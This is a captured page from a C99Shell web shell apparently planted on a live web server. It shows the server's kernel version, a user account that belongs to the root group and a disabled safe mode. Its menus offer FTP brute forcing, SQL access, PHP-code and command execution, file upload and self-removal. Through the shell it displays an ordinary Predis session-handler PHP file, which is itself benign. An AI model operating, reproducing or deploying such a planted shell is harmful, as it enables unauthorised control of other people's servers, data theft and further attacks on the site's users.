!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/predis/predis/src/Session/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Handler.php (3.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Predis package.
 *
 * (c) 2009-2020 Daniele Alessandri
 * (c) 2021-2025 Till Krüss
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Predis\Session;

use 
Predis\ClientInterface;
use 
ReturnTypeWillChange;
use 
SessionHandlerInterface;

/**
 * Session handler class that relies on Predis\Client to store PHP's sessions
 * data into one or multiple Redis servers.
 *
 * This class is mostly intended for PHP 5.4 but it can be used under PHP 5.3
 * provided that a polyfill for `SessionHandlerInterface` is defined by either
 * you or an external package such as `symfony/http-foundation`.
 */
class Handler implements SessionHandlerInterface
{
    protected 
$client;
    protected 
$ttl;

    
/**
     * @param ClientInterface $client  Fully initialized client instance.
     * @param array           $options Session handler options.
     */
    
public function __construct(ClientInterface $client, array $options = [])
    {
        
$this->client $client;

        if (isset(
$options['gc_maxlifetime'])) {
            
$this->ttl = (int) $options['gc_maxlifetime'];
        } else {
            
$this->ttl ini_get('session.gc_maxlifetime');
        }
    }

    
/**
     * Registers this instance as the current session handler.
     */
    
public function register()
    {
        
session_set_save_handler($thistrue);
    }

    
/**
     * @param  string $save_path
     * @param  string $session_id
     * @return bool
     */
    
#[ReturnTypeWillChange]
    public function 
open($save_path$session_id)
    {
        
// NOOP
        
return true;
    }

    
/**
     * @return bool
     */
    
#[ReturnTypeWillChange]
    public function 
close()
    {
        
// NOOP
        
return true;
    }

    
/**
     * @param  int  $maxlifetime
     * @return bool
     */
    
#[ReturnTypeWillChange]
    public function 
gc($maxlifetime)
    {
        
// NOOP
        
return true;
    }

    
/**
     * @param  string $session_id
     * @return string
     */
    
#[ReturnTypeWillChange]
    public function 
read($session_id)
    {
        if (
$data $this->client->get($session_id)) {
            return 
$data;
        }

        return 
'';
    }

    
/**
     * @param  string $session_id
     * @param  string $session_data
     * @return bool
     */
    
#[ReturnTypeWillChange]
    public function 
write($session_id$session_data)
    {
        
$this->client->setex($session_id$this->ttl$session_data);

        return 
true;
    }

    
/**
     * @param  string $session_id
     * @return bool
     */
    
#[ReturnTypeWillChange]
    public function 
destroy($session_id)
    {
        
$this->client->del($session_id);

        return 
true;
    }

    
/**
     * Returns the underlying client instance.
     *
     * @return ClientInterface
     */
    
public function getClient()
    {
        return 
$this->client;
    }

    
/**
     * Returns the session max lifetime value.
     *
     * @return int
     */
    
public function getMaxLifeTime()
    {
        return 
$this->ttl;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--